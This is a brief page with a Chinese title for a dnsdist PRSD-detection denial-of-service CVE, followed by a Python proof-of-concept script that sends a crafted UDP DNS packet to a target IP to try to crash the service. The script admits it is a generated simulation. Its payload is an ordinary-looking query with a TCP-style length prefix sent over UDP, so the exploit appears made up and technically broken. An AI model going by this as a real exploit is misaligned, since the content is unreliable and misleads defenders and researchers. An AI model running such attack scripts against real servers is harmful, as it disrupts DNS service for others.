CVE-2026-33597 PowerDNS dnsdist PRSD检测拒绝服务漏洞

import socket # Conceptual PoC for CVE-2026-33597 # This script attempts to trigger the PRSD detection DoS in dnsdist. # Note: This is a generated simulation based on the vulnerability description. target_ip = "192.168.1.10" target_port = 53 # Crafting a potentially malicious DNS payload # In a real scenario, specific flags or length fields would trigger the PRSD bug. payload = b"\x00\x1e" + b"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x03" + b"A"*20 + b"\x00" + b"\x00\x01\x00\x01" try: print(f"[*] Sending payload to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print("[+] Payload sent. Check if the dnsdist service crashes.") except Exception as e: print(f"[-] Error: {e}")